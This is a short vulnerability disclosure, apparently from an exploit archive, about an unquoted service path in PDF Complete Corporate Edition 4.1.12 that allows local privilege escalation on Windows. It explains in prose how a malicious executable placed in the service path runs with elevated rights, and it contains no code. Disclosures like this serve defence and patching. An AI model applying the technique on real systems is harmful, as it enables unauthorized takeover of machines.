                                            `# Exploit Title: PDF Complete Corporate Edition - Unquoted Service Path Privilege Escalation  
# Date: 10/19/2016  
# Exploit Author: Joey Lane  
# Software Link: http://www.pdfcomplete.com/cms/Downloads.aspx  
# Version: 4.1.12  
# Tested on: Windows 7 Professional  
  
PDF Complete Corporate Edition installs a service with an unquoted service path.  
This enables a local privilege escalation vulnerability. To exploit this vulnerability,  
a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable  
with elevated privileges.  
  
  
This was tested on version 4.1.12, but other versions may be affected as well.
